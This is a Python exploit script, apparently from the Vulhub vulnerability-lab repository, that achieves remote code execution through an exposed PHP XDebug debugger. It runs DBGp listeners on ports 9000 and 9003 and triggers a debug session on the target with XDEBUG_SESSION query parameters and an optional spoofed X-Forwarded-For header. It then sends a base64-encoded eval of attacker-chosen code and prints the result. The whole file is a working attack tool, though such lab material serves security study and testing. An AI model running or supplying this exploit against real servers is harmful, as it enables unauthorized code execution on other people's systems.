Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
121 lines
3.7 KiB
Python
121 lines
3.7 KiB
Python
#!/usr/bin/env python3
|
|
import re
|
|
import sys
|
|
import time
|
|
import requests
|
|
import argparse
|
|
import socket
|
|
import base64
|
|
import binascii
|
|
import socketserver
|
|
import threading
|
|
import logging
|
|
|
|
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(levelname)s - %(message)s')
|
|
server_done = threading.Event()
|
|
server_started = threading.Event()
|
|
|
|
|
|
def recv_xml(sock: socket.socket) -> bytes:
|
|
blocks = []
|
|
data = b''
|
|
while True:
|
|
try:
|
|
data = data + sock.recv(1024)
|
|
except socket.error as e:
|
|
break
|
|
if not data:
|
|
break
|
|
|
|
while data:
|
|
eop = data.find(b'\x00')
|
|
if eop < 0:
|
|
break
|
|
blocks.append(data[:eop])
|
|
data = data[eop+1:]
|
|
|
|
if len(blocks) >= 4:
|
|
break
|
|
|
|
return blocks[3]
|
|
|
|
|
|
class XDebugRequestHandler(socketserver.BaseRequestHandler):
|
|
def handle(self):
|
|
logging.info('[+] Recieve data from %s', self.client_address)
|
|
self.request.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(self.server.code.encode()), b'\x00']))
|
|
data = recv_xml(self.request)
|
|
logging.info('[+] Recieve data: ' + data.decode())
|
|
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
|
|
if not g:
|
|
logging.warning('[-] No result...')
|
|
return
|
|
|
|
data = g.group(1)
|
|
try:
|
|
logging.info('[+] Result: ' + base64.b64decode(data).decode())
|
|
server_done.set()
|
|
except binascii.Error as e:
|
|
logging.error('[-] May be not string result: %s', e)
|
|
|
|
|
|
class XDebugServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
|
def __init__(self, server_address, handler_class, code):
|
|
self.code = code
|
|
self.allow_reuse_address = True
|
|
super().__init__(server_address, handler_class)
|
|
|
|
def server_activate(self):
|
|
super().server_activate()
|
|
logging.info('[+] Server %s started', self.server_address)
|
|
server_started.set()
|
|
|
|
|
|
def start_dbgp_server(port: int, code: str):
|
|
server = XDebugServer(('0.0.0.0', port), XDebugRequestHandler, code)
|
|
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
|
|
server_thread.start()
|
|
|
|
return server_thread
|
|
|
|
|
|
def trigger_debug_session(url: str, attack_ip: str):
|
|
try:
|
|
server_started.wait(timeout=5)
|
|
logging.info('[+] Trigger debug session')
|
|
headers = {
|
|
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0'
|
|
}
|
|
if attack_ip:
|
|
headers['X-Forwarded-For'] = attack_ip
|
|
|
|
requests.get(url + '?XDEBUG_SESSION_START=phpstorm&XDEBUG_SESSION=1&XDEBUG_TRIGGER=1', headers=headers, timeout=5)
|
|
except:
|
|
pass
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
|
|
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
|
|
parser.add_argument('-t', '--target', required=True, help='target url.')
|
|
parser.add_argument('--dbgp-ip', default='', help='dbgp server ip address, must can be accessed from target server.')
|
|
args = parser.parse_args()
|
|
|
|
start_dbgp_server(9000, args.code)
|
|
start_dbgp_server(9003, args.code)
|
|
threading.Thread(target=trigger_debug_session, args=(args.target, args.dbgp_ip), daemon=True).start()
|
|
try:
|
|
# Wait with a timeout, but check for interrupts
|
|
for i in range(20):
|
|
if server_done.is_set():
|
|
break
|
|
time.sleep(0.5)
|
|
else:
|
|
logging.error('[-] Execution timed out')
|
|
except KeyboardInterrupt:
|
|
logging.info('[*] Received keyboard interrupt, exiting...')
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|